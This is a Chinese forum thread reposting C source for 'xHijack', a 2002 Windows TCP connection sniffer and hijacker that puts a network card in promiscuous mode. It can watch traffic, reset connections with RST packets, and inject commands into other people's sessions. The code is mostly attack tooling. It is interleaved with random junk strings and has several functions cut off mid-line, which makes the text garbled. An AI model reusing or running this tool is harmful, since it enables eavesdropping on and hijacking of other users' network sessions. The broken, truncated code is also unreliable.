发帖功臣 元老勋章

void ResetActionAllFlag()
( o. P4 N( ]" A7 C) `( V3 C: y{ 5 }5 I/ X& d3 d
  g_dwCtrlConn = 0;
8 s: t( E( W$ k. @  g_pCurrCtrlConn = NULL; ; R3 ~! w- ?% [2 G6 U# {" B" ~& H
  g_dwAction = ACTION_NONE; % @' e- _9 [! q) @( u# Y
}
/ E7 U2 z( F6 W) O' W" ~. m5 Q7 I! k4 B8 ?0 o# c4 R
// % f3 q9 K# H  V/ J
//功能:处理Ctrl+C和Ctrl+Break事件
- G# B, F4 Q3 K  A0 k1 R, u//
& O7 Q* a" g( j0 @% X, l! yBOOL WINAPI CtrlEvent(DWORD dwCtrlType) " [# J% F- S+ O( S. K  v
{
) [% L1 V" I0 L* l' ]# l# i" C* ~  switch(dwCtrlType) * E+ _$ _0 M9 A0 ~
  { , l" _$ `1 a$ [1 j; w0 T& P6 v
    case CTRL_BREAK_EVENT: 1 B8 q' D( T/ X( {2 O/ o- g
      //reset action all flag
! W- H0 I& H9 P1 u      ResetActionAllFlag(); $ ], q& j6 W% F
      break; 5 a' w( [. D6 O# V  p. X
    case CTRL_C_EVENT: 6 G* o: i4 F3 a7 v5 Q! ^' ~8 n
      //terminate all thread / ^9 v1 D9 {) b8 @. j" t! o8 N, @
      TerminateThread(g_hThread[0], 0);
  L) @: z3 j+ o6 x9 B! K; [9 ]      TerminateThread(g_hThread[1], 0); ) g7 u( ^. Z* s" Z" z# ]: Z
      TerminateThread(g_hThread[2], 0);
  J" n) h( C# B4 Z8 V6 _      TerminateThread(g_hThread[3], 0);
# Y1 M0 ~* _7 T6 i" S: d$ S" E      break; ( v8 g0 j( K8 w- S, Y) N$ `& Q; i
    default:
2 m' j! e0 Y8 G0 H- }& t      break; " c2 ?! k8 o3 \  y  c
  } 4 J9 L0 l3 P" X9 A& A5 S* H
  return TRUE;
: D8 o/ _3 S+ X7 y1 o}
/ F! n9 c* V5 m' |9 R. Y( E+ k: B7 t  j: ]9 L# X: F, P8 p
// % y: _' G" |9 V' {' {3 m5 L
//功能:处理用户输入
- M( S1 u9 @) y7 P- E//
2 q1 l. B9 d. A0 O2 ^. cDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
+ d; h) s) u8 c1 a. H% A; Q{
" ^' @0 u% o: d& H& c; g, f  DWORD  i;
* t6 T& G, R; |) }  char  szBuff[16]; % E/ R' ?- ~1 Q  i" d; L% ^/ I# m/ O

; I* t) \; V  d# Z) t/ Q  *lpCommandPos = 0; & }# u% X' G, Q# \: J, B7 P, H
  for(i=0; i<15, i代码比较乱
4 q# S5 I8 ^) e//
3 H5 y1 D- \% I3 o! x% HDWORD WINAPI InterfaceThread(LPVOID lp)
2 R& W. Z- }7 F1 _1 n' c{ 9 ?. x; V5 \" s- ^8 H
  char  szHelp[] =  "l\t\t<-- List all connections\n" ' h; q! r" l0 e4 Z
            "r x\t\t<-- Reset the number x connection\n"
+ e/ j) d0 H$ \4 x7 h            "w x\t\t<-- Watch the number x connection\n" ( G' m" R" U3 N" ]9 D8 z; ^
            "h x command\t<-- Hijack the number x connection to execute command\n" 8 H- q! @* T+ ^# Y, y' e
            "[Note]\n"
+ {8 ?" Z* d" C. d# Z8 e$ q+ }            "Ctrl+Break to clear all action\n" ; S. D# s  c7 o" z' ^
            "Ctrl+C to exit\n";
9 R/ s6 q2 o8 F- j  char  szPrompt[] = "\nxHijack>";
  `1 U# O2 {; f  w7 O' {  char  szBuffer[128]; 3 w, Z$ X( t* w/ a
  DWORD  dwPos;
5 v. ]" o6 n# d: l  PCONNINFO  pTmp;
5 h  R5 f/ i: W% B! j- E7 s% M9 i# o5 ^1 b# Z
  while(1)
& r0 \5 E9 i- [4 g6 ^, t+ Q3 _  {
* Q# @) Z( l! i( @6 d    gets(szBuffer);//不考虑buffer overflow 2 ]# i3 j6 |# B/ t
    switch(szBuffer[0]) - z) O2 I' o" w9 s( I' Q0 F$ u3 s
    {
/ i% a7 h& [/ s7 k3 A6 A' N: v      case 'l': 7 I; i! {9 c! |- X
      case 'L':
: l' s) W$ r& K- H- h3 N        ListAllConnection();
% u8 i8 G3 x& T  j        break; : `7 K' \, @- S2 |
      case 'r':
% w# k$ \8 ]% X( l: `6 [6 k      case 'R':
! ~% K( u" @# d1 e& _7 R) B9 U4 n        if(strlen(szBuffer) >2) ! Q: I  L  n- ~; y3 `' h7 n. v
        { 1 N* l4 v, l/ O; f/ M
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); : [4 M- C. `5 f: a6 \
          g_dwAction = ACTION_RESET;
( v8 f& g& p4 r' |        } , k6 i" f3 d& l
        else printf("%s", szHelp);
/ O, a1 s; x) }1 I- G        break; , a, \- `* Z8 e& t; _( n+ ^
      case 'w': ! M. N( u2 u& h! C. o' ]
      case 'W':   f: m! s2 Z, i) l! G
        if(strlen(szBuffer) > 2)
) d/ Q( ?# W* G& r& }! U7 H        {
, E9 C: x3 M2 T% U; k/ d/ v) E& `8 b          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); / S  ^; Z  O1 f; J/ y
          g_dwAction = ACTION_WATCH;
8 }, v% |8 B& v1 Q; v        }
' ~  ^% o* F; C8 P" S        else printf("%s", szHelp);
. |. x9 x# N) A( _/ L        break; + d; G0 w; j# E+ r& {9 }9 J
      case 'h':
1 T* E/ n& [7 ?6 G& n( O$ v1 l1 y      case 'H'://h 1 xxx * t3 @3 |1 {; h3 E
        if(strlen(szBuffer) > 5) # `" {" p1 g. x/ c2 G( Y, y5 w3 T; p" @# W' n
        {   P3 C% G; G% [) p6 n' c
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); . K- C: r1 b& L! u" F2 b1 z
          //如果command第一个字符是'或" : E5 n$ X1 F9 I  t9 i0 Y; ]6 K: }
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) - O& T; [( M) m9 w
          {
& N' {2 r( n  [" X' z            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
% E$ x8 B4 {/ e! L. i: n  Z4 P" C            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" , X; u1 ]  O* ~' h
          }
$ ~, y; ], |3 `  z$ w; V          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
+ j1 z0 u9 M  T9 C8 b          strcat(g_szCommand, "\x0D\x0A");
. b& J, ?5 K/ y3 P8 u* X          g_dwAction = ACTION_HIJACK;
- T/ \9 R4 _  }4 P# f( M& i+ j% l        } / z' F5 B* _5 b3 `$ j8 O. P
        else printf("%s", szHelp); 6 B) Z7 ?/ ?$ Y" q7 ~) m) F! Q
        break; - ~8 V+ p- l9 L- f6 ^
      default: : g$ ?* q* X) }0 Y' [: k! }
        printf("%s", szHelp);   E0 |+ K& e) T5 @
        break; $ M- o- k5 a, z0 c" _: M: [/ M
    }//end of switch
2 w- \) Z! D$ i" `    //find the specify ident's struct point & w2 I' m+ x3 x
    if( (g_dwCtrlConn) && (g_dwAction) )
0 M: n  h5 A8 i  a5 t8 P  }! ~, v% Q    {
. q8 D1 V* _: h- s1 |" D7 J( m      g_pCurrCtrlConn = NULL; * q% P2 q* e, P- W4 h0 r3 R
      pTmp = g_pConnHead;
' a5 X! ^6 u+ P! }. C' }- f7 b1 |+ M      while(pTmp)
& X% i& @9 I  }  _' k9 p      {
, B: v2 W; B+ ~( N0 K) J- I; x        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
0 j& `$ N. u$ p# F; o        {
6 F+ p  h- u7 `6 v/ C8 f4 P( F* d          g_pCurrCtrlConn = pTmp;
; y, z3 f6 p9 T  n/ d          break; 5 ^' B4 N+ u$ K* {0 d) y  p) R5 w5 V9 b
        } ! W) c" b' M/ s$ Q; F) |
        pTmp = pTmp->Next;
2 g  o4 P! p! L$ m! `8 D( W" w      }
/ p- G; H. T1 L! E' g! ~      if(!g_pCurrCtrlConn) * I; K* G4 q8 u+ s( S' n" R
      {
0 o, ~) X, ]7 C        printf("Can't find the number %d connection.\n", g_dwCtrlConn); * N$ S6 N' W' s, C1 h
        //reset action all flag
0 O; Q9 }: I. Q& m% f        ResetActionAllFlag();      
  l" ?) F5 W6 B/ o: V      } - z$ I) o# B8 B+ S  Y$ g- a
    } 9 A) I: W0 g1 O3 R0 K, _
    if(!g_dwCtrlConn) ResetActionAllFlag();
) F: P, x6 [5 }- J6 N) Y. W5 P    //显示当前用户所期望的动作 " B( y) j  Y2 @& L' w* g$ S3 k
    printf("\nCurrentAction:");
/ c( ^  f. S( x    switch(g_dwAction) ( o7 u; u8 Q8 w* ^$ T
    { 4 ]! A  i' H. B( ?
      case ACTION_WATCH:
8 f7 T& |" E1 C+ I4 q        printf("ACTION_WATCH"); . j. g- C; g8 H4 U0 y! y, a) n3 J
        break; 5 F- J. Y" u' l6 h
      case ACTION_RESET:
; z* Z- p  H; [" E# d" X        printf("ACTION_RESET");
) m2 ]) u3 x( |; h4 _        break; 5 a. i: U1 B! x# ~0 B
      case ACTION_HIJACK: $ h7 L3 O8 j( X8 N. m# ^* }3 n
        printf("ACTION_HIJACK"); 8 [, e, O. r  F& t1 l
        break;
+ _8 i3 A: ?, s7 S' r# n; d  V2 t      default: $ w. O0 Q, E5 ^- D# M; _; N) ^
        printf("ACTION_NONE"); 7 E$ i; o; W8 R0 ~
        break; ! E" M5 `2 s+ B" z! m5 q# d
    } , e$ Q; l8 i2 p0 G+ \& y- r
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); ( s3 c) }* v" M/ E2 M& M) D
  }//enf of while
+ y+ }! E2 x0 h, c& o+ i) k) v" k  return 0; ( B( Q% L0 W& l) z% K* D
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// % R+ ?$ v1 A! w% k+ X- v //功能:列出当前所有连接 8 c+ Z& n0 P! [! d' \. M // & R2 o: u( ]3 u# w* j. f3 n( { void ListAllConnection() . a' S8 `. L9 ?: F+ x9 x' |' W2 B# x" E" e { 1 a1 ~6 T& @* b9 y PCONNINFO pTmp; + g( [$ ^# l; w* p SOCKADDR_IN saDest, saSource; 4 V2 D- c e; H: Y; A pTmp = g_pConnHead; - e g l, z. k7 ^ }4 o; i while(pTmp) o) G! p0 \& v9 y$ e/ Q# x3 j5 w$ Q { ! i9 f& P$ d2 Z) E4 d) y6 ~+ ^ if(pTmp->bActive) / n2 Z- R* f4 {4 L$ ] { 0 v" _9 V0 Q8 B5 o7 | saSource.sin_addr.s_addr = pTmp->dwServerIP; % k& H8 z7 I4 I$ @1 b6 }# Q& h: `9 C saDest.sin_addr.s_addr = pTmp->dwClientIP; - V0 T/ q6 ^& o/ u) H printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), - M" }; I0 y$ X" T3 c' u ntohs(pTmp->uServerPort)); ! [( I7 M/ R7 [5 M printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 5 m+ V/ x8 p5 v7 o- W } 4 V& ^9 a% V0 e$ [2 N, S, b! g( O% ` pTmp = pTmp->Next; / @* D! c' O1 \: t% [ } 3 c1 {9 t$ X& U/ y } 2 O p+ O4 C, t* B* C % }/ b ^8 i. T/ Z1 Z* b7 e// % N4 m! a3 e/ F6 ` //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 , v5 D, M2 h6 h1 W+ @ // & J% u( n' x2 G# c, Q* xLPADAPTER InitAdapter() 5 N+ G& O- q9 A, F$ D5 ? { / P9 M0 G/ P9 T- E1 b; h LPADAPTER lpAdapter; T6 l) f1 J# K( g8 w static char AdapterList[Max_Num_Adapter][1024]; " Y N9 G- r; A6 \- D+ O char szSelectAdapterName[512]; 5 R" c, c3 X1 }( [( R6 P# O WCHAR AdapterName[2048]; 2 @# S' l0 }6 T. z WCHAR *temp,*temp1; # ~" K0 U; x! f, K# {2 [ ULONG AdapterLength = 1024; * Z x6 N: g. b* X: B* Y2 g2 | int iAdapterNum = 0; 6 y; N; E; G/ J5 k' x5 p$ ~ int iRetCode, i; 5 P1 q% L& G. F8 r2 Y* H( A% F int iAdapter = 0; ! R8 F( ]+ ]# \5 z: E6 C. H7 V ULONG ulLen = 0; # t5 O A6 v* w" f1 ^8 q. @. G DWORD dwRet; 7 E. n8 H- T. |" V" X9 ?5 M PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; & B% z8 \6 N4 b; Y, c PIP_ADDR_STRING pIPAddr; 2 X `; [+ z: |+ T 6 f" Z2 |) ?( E //Get The list of Adapter ' S9 U1 {" x+ Q9 \ if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ; s+ g! \% s2 P K* ~ { - G Y% V8 O/ M printf("Unable to retrieve the list of the adapters!\n"); + J; E0 a* s' c0 E& @% X% z return 0; 5 m9 ?, V1 T" G& s* N9 ?& X } q" S! n7 s( O2 Y$ n" Y( C& t$ U* ~: O temp = temp1 = AdapterName; 7 ?1 Q' D5 y6 Q i = 0; + P9 n' s, T2 g$ y6 x7 n6 l while ((*temp != '\0')||(*(temp-1) != '\0')) : V3 R1 F9 ` |5 n# ?5 N { b4 P8 X) Y* W# Q. n+ q# s5 J if (*temp == '\0') / s. w6 R9 M& X" N3 \( ?. u { 1 y1 T8 n& [! F3 w memcpy(AdapterList,temp1,(temp-temp1)*2); 5 B, Q4 m: |4 x, A/ t0 _0 |9 ?. n printf("%d - %S\n", i+1, AdapterList); + R/ {6 u: |; t3 X2 p temp1=temp+1; ) s3 u$ f( K, A* ] i++; : |, {, x/ _* g% M" y& o) g } 6 ? s# Z- ~: k4 Q4 Q temp++; % |2 U- d% ^( }, Z( c+ ~8 a- B } ) W2 h, l1 K. p R //choose adapter % B5 C1 I: O$ {7 |1 s# |6 j S while((iAdapter <= 0) || (iAdapter > i)) 6 w. g. x4 B2 Z$ G# D: _* L { 0 P, C0 _, l* g0 x printf("\nPlease choose your Adapter:"); 7 s7 Q+ p4 s; {6 V7 s) {9 k scanf("%1d", &iAdapter); - j* D4 P. \, ~% L% n$ P5 A$ {# k } : `5 X& X* W q `, h! Y8 [ printf("\n"); ' f9 J3 H( G6 F3 j' t [9 R! ? //---------------------------------------------// # T& w" d. r9 }+ u" l/ s4 F //这里调用iphlpapi来取得本地ip_addr和mac_addr . N: B# |, Q7 J sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); : A7 j2 c, I; h* ]+ J/ F$ G dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ) ^8 w+ |2 f5 b s1 W9 G if(dwRet != ERROR_BUFFER_OVERFLOW) 5 x2 v/ E! J" H6 z; A9 V+ D { & `: Z) R" M6 Z! P; F" h& ?4 S1 c printf("GetAdapterInfo error:%d\n", GetLastError()); \: H: s! h/ o3 A, D4 x. t- v return 0; + \* c2 Y9 h8 R+ Q7 G } 8 v3 l; s X2 [ pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); . ~ L2 A# T- x2 L2 P% } if(!pAdapterInfo) & y6 M( {+ V# M. P) @ { . {; [9 K+ Q# n# b9 K9 |# v- ~ printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); / `+ W9 C' i. o return 0; ( i4 z8 p) S) ^6 f: g. h } 5 ]. z3 z, h* y3 t! N dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 8 ^4 H8 ~/ u% D5 x: D6 N if(dwRet != ERROR_SUCCESS) ! F+ R3 F3 \3 l. Z W/ E { $ E5 A7 N" W5 W4 r( E printf("GetAdapterInfo error:%d\n", GetLastError()); / [" n; ?/ c2 A8 u return 0; 5 ~1 @7 W) I$ R, b. e0 A } ' w6 X# R1 D: x/ F( [/ I2 j5 K pTmp = pAdapterInfo; 4 g. W8 G2 f' \ while(pTmp) 8 }$ J: T1 U; ^ { 8 ^( v. [: R2 l7 c$ K //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) $ h( G& P$ ?" z { # L, S, L, |8 t2 q //found it,get own adapter mac address & Q3 }0 b$ k0 O& {( Z% z2 L6 }* O memcpy(g_szOwnMAC, pTmp->Address, 6); % h2 Z! i. V4 P/ [ //get ip address & g$ F% f: o( q! s+ Q& r4 ]8 [! Q3 d pIPAddr = &pTmp->IpAddressList; ; H% P0 A G5 | while(pIPAddr) N9 L3 s3 ~" d7 O { 6 v: D/ i" X8 S. V0 H g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); + n* p9 y; w7 }" K; V, T$ h( ] pIPAddr = pIPAddr->Next; 0 I8 U0 P0 i& T, j2 O$ Z o if(g_TotalIP >= Max_Num_IPAddr) break; 3 z1 A, F0 |9 l" i } 5 W6 a/ x. ?3 l: T' n2 | break; & o; ~* p* e1 H4 A) i% Z# J } * _) H, g1 Q5 S2 K5 O" ^- }' z pTmp = pTmp->Next; # I6 C. m% b2 }" G; ? } ' ~0 f! j4 p+ k% e) N6 _) G2 c free(pAdapterInfo); 1 Q! b& V R6 u2 |- @$ M //not found,return zero % k9 ^1 W! a$ n5 l/ F$ g if( (!pTmp) || (!g_TotalIP) ) return 0; ! J8 c# W0 O* S) L7 _ //---------------------------------------------// ( f/ t+ J+ w0 \1 Z2 d4 Y6 p l. w5 Z7 \ //open adapter ' {3 q2 [: l% R9 N4 w lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); . m5 o! N2 e9 K3 e9 X" t# L if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ( z- I4 S. g! A; ?. o+ j0 q+ k, z { * B5 m+ }( k7 I. W7 q$ K+ C/ H7 [ iRetCode = GetLastError(); / h1 P& ?' i: B2 |* U6 j printf("Unable to open the driver, Error Code : %lx\n", iRetCode); $ p0 J+ d2 T, ^1 g; T' D( k5 f. V return 0; " g! @0 k$ x# {& I } 3 G$ M4 V2 ~# b // set the network adapter in promiscuous mod ) ]" _1 K6 _& N" q: v: d( i if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) $ N& x- C) [$ ]& D { , A# B1 M" v6 d, z7 ?+ c9 T; e printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ; c1 p5 @- V0 F/ F+ q' r if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 8 G) G. V. W7 N! f+ p9 U( d { w+ m; l# x* N. `8 @# W" u8 F c printf("Unable to set ALL_LOCAL mode!\n"); % n# S4 M5 S; K' a return 0; # J# G. {( Q# K! ^/ L } Z8 ^2 j3 k5 [ } ( M! J8 U- \' X/ @5 f! B$ I // set a 512K buffer in the driver " \4 H& u! j) c if(PacketSetBuff(lpAdapter, 512000) == FALSE) " b, k2 E4 X1 Y" |/ [' ?& U { 2 V$ @8 N r) n E printf("Unable to set the kernel buffer!\n"); $ p6 t* r+ Q% ` return 0; # J F. l8 s+ x: Q } # X9 A, G- J: J% |5 c( L0 p$ ] // set a 1 second read timeout . Y! l/ R9 B* [8 E if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) % d! w& v' T. W. C6 s5 G) q, p5 n printf("Warning: unable to set the read tiemout!\n"); 2 W9 U, `% C, k* A. @" l4 \2 K, g- I if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 6 U; d2 [ \0 ~ printf("warning: Unable to send more than one packet in a single write!\n"); ' b B6 W. Y/ {5 Y' h3 j: ] //设置发送的packet 5 ]$ P; ?8 [2 b8 Z' a/ ? g_lpSendPacket = PacketAllocatePacket(); 0 B, g. ~2 M: d# S# j if(g_lpSendPacket == NULL) " |. ^) L# v' n9 ]6 \1 C4 A# B8 `5 B% ~ { 3 z: [, g6 W; e! z- N0 R. g/ R9 H6 { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 2 r- M: s" i! I3 `# j7 }. A return 0; * d ]3 B. R7 I/ G. @9 @1 E9 r& n1 Q } 8 y. u, R& O: N ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ! i" ~+ v# m4 M$ _- j PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 0 u$ f6 \- [3 |9 n7 c' L return lpAdapter; 0 D9 X4 o$ k# {) }. x } 8 E: a5 j9 g! H+ a : A2 D$ ]; a* t, R/ w: Z! ~. m" N//功能:帮助信息 + m# t: M& g2 U2 I void usage() 9 t* L& S" K# u0 a0 d; U' t' | { ! D. n& O- t v7 _* i1 M6 c; { printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 9 R% [+ x' b! U- [5 ~/ I0 H! P "By eyas 2002/8/19\n" 0 o, L( I0 B- J8 b% N$ y) } "http://www.ey4s.org\n" 2 U7 _% h$ f1 D! j "Thanks to Refd0m and shotgun\n\n" 1 L) o( j9 g9 v% | "Usage: xHijack ServerSide ClientSide\n\n"); & l$ }" G) Y3 v9 p6 Q} 5 i- d2 z# E" g+ w 8 d9 X+ j; @ r8 F// % B. W" x. T. U//功能:显示数据包的一些详细信息 . ~$ z& g: t* z/ h/ O// - |1 W1 y l" _VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 5 `/ f1 S% ]/ X' C0 X{ 1 W# @$ N! t; c( `, ? SOCKADDR_IN saDest, saSrc; , ~7 z- n: l+ D# j unsigned char FlagMask; # y ?- T9 P q, | int i; ' E0 x0 T/ `9 v1 t9 h7 p 1 L( k. f" z4 r* A saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; ( a7 T1 ~& L' K" ~$ W saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 7 ~& E9 g5 k6 M+ Z; _3 [5 H printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); ! U* H9 i, {% f6 z printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ) ]7 k- _$ b1 d3 O ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 7 P; ~! ?! E& ]+ l4 L //display TCP flag , J; B2 _7 u' q% A for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) + U0 v" ^ ~6 {; l A7 A/ { { & q+ x9 ~- \0 T5 Z b3 T0 ^) j if((pTCPPacket->tcphdr.th_flag) & FlagMask) * a" H* {0 {2 \ m* k; } printf("%c", g_szTcpFlag); + B2 ^' z& s! |7 K( | else printf("-"); 4 o4 j$ } ~- J9 f7 F; v } # P& g" [3 n. F9 |6 }" E. [ printf("\n"); ' Z, |7 ~7 y a! x% C+ } //如有需要,可显示更多详细的信息 + c7 Z& [7 [3 L% u$ o3 t+ W if(bDetail) ' ~ o$ p( y' E& B( f* ^ printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 0 O( }$ v/ E1 G! e( U& ^} , m* o0 ]5 S4 z& D6 y7 c ' L' T: z b; w: G// , p- h4 L( h' G; t" @) V //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 # e/ ~" i* s# t% a// # H' N: v& p; S5 g" g" _0 b DWORD WINAPI AnalysePacketsThread(LPVOID lp) 9 E! h4 B/ {/ D( a# P7 Y{ ' H7 g, l6 q9 \9 f9 U2 B& F. F ULONG ulBytesReceived; ' O+ W; q& _6 @5 v. G6 g; a& i USHORT usDataLen; 0 w# q4 Z& K4 m0 _ //USHORT usIPHeadLen, usTCPHeadLen; 6 k2 z: d9 a6 j5 _' R. v' ? char *buf; - {( a& @9 F; O7 [6 } u_int off, i; 5 a9 v" s8 ^, P( Y" W6 a2 k PTCPPACKET pTCPPacket; 4 j" d7 B8 u0 Y% b8 c: `- s" c1 p/ \ struct bpf_hdr *hdr; 3 \. W2 h6 C- J LPPACKET lpRecvPacket; ; V5 e' y; ?* C4 W7 v( F! u) y z char szPacketBuf[256000], *pStr; + D8 I- v2 s7 u! @8 V4 v BOOL bDeleteNode, bAddNew; 4 X H7 U4 [ z& [ DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 6 K! _1 D5 k( [! \2 w BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ' d$ S' J) k% B9 C* i 9 C% z" d2 e! v+ E% s* L# L //设置接收的packet 5 q9 h$ w0 w# ^ lpRecvPacket = PacketAllocatePacket(); ! K; {# }2 T( `( l4 K6 r/ z- f if(lpRecvPacket == NULL) / R8 p( I$ ^4 p+ R1 o' U9 O5 d { / n1 x7 M; m+ ^6 d. ~7 j printf("Error:failed to allocate the LPPACKET structure for recv.\n"); $ i7 F0 G& h( H5 q return 0; # r9 A. E- B3 \7 w. R6 U8 D } + q. Z7 i- }/ ~5 o2 ^8 Y* E* } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 9 e- K& j6 r9 E0 X h3 K1 w PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); $ M# V8 b; e3 V' m0 h while(1) ' V6 Y8 Q( v) P4 C; b- Z) n { , J9 Z! ~: c R8 \ // capture the packets $ q# J) c% O9 _9 o# e if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) : ?- O! d! A) I. D { ) [2 a% b( K% C Z5 L printf("Error: PacketReceivePacket failed.\n"); - w: T& O' K0 X. Y; t9 f8 l/ c break; 8 [1 |1 g! H% _ } 1 f/ w' R# g# U c, ?' F: D; \ ulBytesReceived = lpRecvPacket->ulBytesReceived; 8 Q& L A6 C3 P2 [" R buf = lpRecvPacket->Buffer; 5 W1 G: a- M X+ m8 N4 B off = 0; u, f$ N* T* n6 ?9 r( b while(off < ulBytesReceived) 2 L+ ?& l" m' P% e, `. S3 W: u { 7 O( p7 [3 |) y$ W+ F$ a7 ? hdr = (struct bpf_hdr *)(buf + off); 4 [( ?; E$ n4 l' w2 K1 j off += hdr->bh_hdrlen; 3 f, O$ u/ [7 q# B( r3 C# n pTCPPacket = (PTCPPACKET)(buf + off); ; J, |! \! z: Y. m, ?- s* c" Q' @ off = Packet_WORDALIGN(off + hdr->bh_caplen); k/ X F, Y8 p9 q& x+ g //不需要处理自己发出的包(转发或本机发送的) 5 O7 a: A) q2 [; o2 H" A$ O/ _; C5 x if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; ( l" t& ]7 t4 k3 C2 R% G) l! o7 } //检查是否IP包 / J! @8 n( T0 X- @- a if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; # N5 c' k& I9 Q" j" Q* K- K //检查是否TCP包 0 E3 }5 H& q+ s6 r z1 x" L if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; + Z2 a( s2 B: G! o7 h/ D" E //也不处理DestIP是自己的包 : a0 P# U1 C% F5 Y1 m" F for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);   t, F$ B! [4 H% e: f% r( u9 X
            //reset action flag " O6 l4 M2 n8 y5 u3 ^0 t
            ResetActionAllFlag(); ; s. w3 S; u: h3 j; E
          } 8 u' S5 t+ M. i' }! w; H
          //start hijack
- f2 x/ d: O' m* m( I" w: M          else if(g_dwAction == ACTION_HIJACK)
( ~* Y- h4 [0 H0 k8 Y, C          { / W6 h4 T6 [3 X  I  H' V
            //send rst packet to client ( J; I  |$ V* k* F
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
' l3 B: h7 e4 ?2 z            //send hijack packet to client 7 t+ D8 ^% B  F: e1 D/ Y
            SendHiJackPacket(pTCPPacket); 3 d! D+ O. x6 J' b6 ?3 p- M0 }9 S
            //reset action flag
' O% T9 C: {. N+ t9 b            ResetActionAllFlag(); 7 {! I/ Q3 b+ ^5 N: @( u2 X
          }
" Y9 E) B& G  u6 G. n3 w        } ! H1 u' @5 P5 x% R) g0 F
        //show the tcp data 4 E  @5 s3 S# B! z: r2 c
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) , M0 t4 B9 O  x+ k& z
        {
. v  c5 W- q. j. ]- }- U& l  {3 e          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 9 ^! O; W& I9 j4 d& H
          //暂不考虑IP、TCP头不是20字节的情况 " b, b' S1 i7 k' Z2 `
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 1 o8 K6 n9 n: l( |' a7 s
          pStr = (char *)pTCPPacket + 54; . O9 v4 E5 H$ Z+ C$ O0 s  w
          for(i=0; i        } * _2 W4 a4 b# t+ m4 t+ b* p. V" H: g
      }
( I! h: m  T- m5 [: f7 j' Z      //debug output # G  [7 I- X. p
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); % K1 Q. }: u' H0 C
    }//end of analyse packets while * O7 z: ?" r8 C# j& ]+ T& V/ d
  }//end of recv packets while
# e4 H! T+ f$ G" |1 n$ a+ x7 b  PacketFreePacket(lpRecvPacket);
+ h, \+ K. o. Y% x  return 0;
0 K9 Q+ b" Y4 h9 D& N. s- F* K}
: B; K# o' I$ O4 b( j$ B5 S0 j, }6 T- z- @0 F) Z/ G

